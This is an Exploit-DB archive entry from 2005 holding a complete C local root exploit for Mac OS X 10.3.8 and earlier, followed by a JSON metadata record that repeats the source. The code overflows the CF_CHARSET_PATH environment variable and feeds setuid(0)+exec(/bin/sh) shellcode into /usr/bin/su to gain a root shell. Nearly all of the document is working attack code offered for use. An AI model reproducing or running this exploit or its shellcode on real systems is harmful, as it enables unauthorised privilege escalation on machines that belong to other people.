ID EDB-ID:896
Type exploitdb
Reporter vade79
Modified 2005-03-22T00:00:00
Description
Mac OS X <= 10.3.8 (CF_CHARSET_PATH) Local Root Buffer Overflow. Local exploit for osx platform
/*[ MacOS X[CF_CHARSET_PATH]: local root exploit. ]*********
* *
* by: v9@fakehalo.us (fakehalo/realhalo) *
* *
* found by: iDefense (anon finder) *
* *
* saw the advisory on bugtraq and figured i'd slap this *
* together, so simple i had to. exploits via the *
* /usr/bin/su binary. you must press ENTER at the *
* "Password: " prompt. *
***********************************************************/
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
static char exec[]= /* b-r00t's setuid(0)+exec(/bin/sh). */
"\x7c\x63\x1a\x79\x40\x82\xff\xfd\x7d\x68\x02\xa6\x3b\xeb"
"\x01\x70\x39\x40\x01\x70\x39\x1f\xfe\xdf\x7c\x68\x19\xae"
"\x38\x0a\xfe\xa7\x44\xff\xff\x02\x60\x60\x60\x60\x7c\xa5"
"\x2a\x79\x38\x7f\xfe\xd8\x90\x61\xff\xf8\x90\xa1\xff\xfc"
"\x38\x81\xff\xf8\x38\x0a\xfe\xcb\x44\xff\xff\x02\x7c\xa3"
"\x2b\x78\x38\x0a\xfe\x91\x44\xff\xff\x02\x2f\x62\x69\x6e"
"\x2f\x73\x68\x58";
int main(void){
unsigned int i=0;
char *buf,*env[3];
printf("(*)MacOS X[CF_CHARSET_PATH]: local root exploit.\n");
printf("(*)by: v9@fakehalo.us, found by iDefense adv. (anon)\n\n");
if(!(buf=(char *)malloc(1100+1)))exit(1);
memcpy(buf,"CF_CHARSET_PATH=",16);
printf("[*] setting up the environment.\n");
for(i=16;i<1100;i+=4)*(long *)&buf[i]=(0xbffffffa-strlen(exec));
env[0]=buf;
env[1]=exec;
env[2]=NULL;
printf("[*] executing su... (press ENTER at the \"Password: \""
" prompt)\n\n");
if(execle("/usr/bin/su","su",0,env))
printf("[!] failed executing /usr/bin/su.\n");
exit(0);
}
// milw0rm.com [2005-03-22]
{"id": "EDB-ID:896", "type": "exploitdb", "bulletinFamily": "exploit", "title": "Mac OS X <= 10.3.8 CF_CHARSET_PATH Local Root Buffer Overflow", "description": "Mac OS X <= 10.3.8 (CF_CHARSET_PATH) Local Root Buffer Overflow. Local exploit for osx platform", "published": "2005-03-22T00:00:00", "modified": "2005-03-22T00:00:00", "cvss": {"score": 0.0, "vector": "NONE"}, "href": "https://www.exploit-db.com/exploits/896/", "reporter": "vade79", "references": [], "cvelist": [], "lastseen": "2016-01-31T13:07:49", "viewCount": 9, "enchantments": {"score": {"value": -0.2, "vector": "NONE", "modified": "2016-01-31T13:07:49", "rev": 2}, "dependencies": {"references": [], "modified": "2016-01-31T13:07:49", "rev": 2}, "vulnersScore": -0.2}, "sourceHref": "https://www.exploit-db.com/download/896/", "sourceData": "/*[ MacOS X[CF_CHARSET_PATH]: local root exploit. ]*********\r\n* *\r\n* by: v9@fakehalo.us (fakehalo/realhalo) *\r\n* *\r\n* found by: iDefense (anon finder) *\r\n* *\r\n* saw the advisory on bugtraq and figured i'd slap this *\r\n* together, so simple i had to. exploits via the *\r\n* /usr/bin/su binary. you must press ENTER at the *\r\n* \"Password: \" prompt. *\r\n***********************************************************/\r\n#include <stdio.h>\r\n#include <stdlib.h>\r\n#include <string.h>\r\n#include <unistd.h>\r\nstatic char exec[]= /* b-r00t's setuid(0)+exec(/bin/sh). */\r\n\"\\x7c\\x63\\x1a\\x79\\x40\\x82\\xff\\xfd\\x7d\\x68\\x02\\xa6\\x3b\\xeb\"\r\n\"\\x01\\x70\\x39\\x40\\x01\\x70\\x39\\x1f\\xfe\\xdf\\x7c\\x68\\x19\\xae\"\r\n\"\\x38\\x0a\\xfe\\xa7\\x44\\xff\\xff\\x02\\x60\\x60\\x60\\x60\\x7c\\xa5\"\r\n\"\\x2a\\x79\\x38\\x7f\\xfe\\xd8\\x90\\x61\\xff\\xf8\\x90\\xa1\\xff\\xfc\"\r\n\"\\x38\\x81\\xff\\xf8\\x38\\x0a\\xfe\\xcb\\x44\\xff\\xff\\x02\\x7c\\xa3\"\r\n\"\\x2b\\x78\\x38\\x0a\\xfe\\x91\\x44\\xff\\xff\\x02\\x2f\\x62\\x69\\x6e\"\r\n\"\\x2f\\x73\\x68\\x58\";\r\nint main(void){\r\nunsigned int i=0;\r\nchar *buf,*env[3];\r\nprintf(\"(*)MacOS X[CF_CHARSET_PATH]: local root exploit.\\n\");\r\nprintf(\"(*)by: v9@fakehalo.us, found by iDefense adv. (anon)\\n\\n\");\r\nif(!(buf=(char *)malloc(1100+1)))exit(1);\r\nmemcpy(buf,\"CF_CHARSET_PATH=\",16);\r\nprintf(\"[*] setting up the environment.\\n\");\r\nfor(i=16;i<1100;i+=4)*(long *)&buf[i]=(0xbffffffa-strlen(exec));\r\nenv[0]=buf;\r\nenv[1]=exec;\r\nenv[2]=NULL;\r\nprintf(\"[*] executing su... (press ENTER at the \\\"Password: \\\"\"\r\n\" prompt)\\n\\n\");\r\nif(execle(\"/usr/bin/su\",\"su\",0,env))\r\n printf(\"[!] failed executing /usr/bin/su.\\n\");\r\nexit(0);\r\n}\n\n// milw0rm.com [2005-03-22]\n", "osvdbidlist": []}
{}